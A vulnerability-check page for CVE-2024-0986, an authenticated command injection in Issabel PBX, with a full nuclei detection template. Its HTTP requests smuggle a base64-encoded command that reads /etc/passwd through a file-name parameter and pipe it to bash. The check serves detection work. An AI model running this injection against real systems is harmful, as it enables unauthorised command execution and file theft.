Issabel Authenticated - Remote Code Execution

mediumseverity

4.7CVSS score

58.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252251. NOTE- The vendor was contacted early about this disclosure but did not respond in any way.

Impact

Authenticated administrators can inject and execute arbitrary OS commands remotely via the Asterisk CLI, potentially gaining full control over the Issabel PBX system.

Fix

Update Issabel PBX to a version newer than 4.0.0 that addresses this command injection vulnerability.

How to confirm it

Send: POST / ; POST /index.php?menu=asterisk_cli ; GET /modules/backup_restore/restore.php?filename=x%7C%7Becho,Y2F0IC4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=%7D%7C%7Bbase64,-d%7D%7Cbash
Positive when: matches in body_3 /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-0986 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-0986

info:
  name: Issabel Authenticated - Remote Code Execution
  author: eunji
  severity: medium
  description: |
    A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252251. NOTE- The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Authenticated administrators can inject and execute arbitrary OS commands remotely via the Asterisk CLI, potentially gaining full control over the Issabel PBX system.
  remediation: |
    Update Issabel PBX to a version newer than 4.0.0 that addresses this command injection vulnerability.
  reference:
    - https://github.com/issabel-org/issabel/issues
    - https://vuldb.com/?ctiid.252251
    - https://vuldb.com/?id.252251
    - https://www.vicarius.io/vsociety/posts/issabel-authenticated-remote-code-execution-cve-2024-0986
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0986
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 4.7
    cve-id: CVE-2024-0986
    cwe-id: CWE-78
    epss-score: 0.58153
    epss-percentile: 0.99097
    cpe: cpe:2.3:a:issabel:pbx:4.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: issabel
    product: pbx
    fofa-query: title="issabel"
  tags: cve,cve2024,isssabel,authenticated,rce,asterisk,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        input_user={{username}}&input_pass={{password}}&submit_login=

      - |
        POST /index.php?menu=asterisk_cli HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        txtCommand=xmldoc+dump+%2Fvar%2Fwww%2Fbackup%2Fx%7C%7Becho%2CY2F0IC4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q%3D%7D%7C%7Bbase64%2C-d%7D%7Cbash

      - |
        GET /modules/backup_restore/restore.php?filename=x%7C%7Becho,Y2F0IC4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=%7D%7C%7Bbase64,-d%7D%7Cbash HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from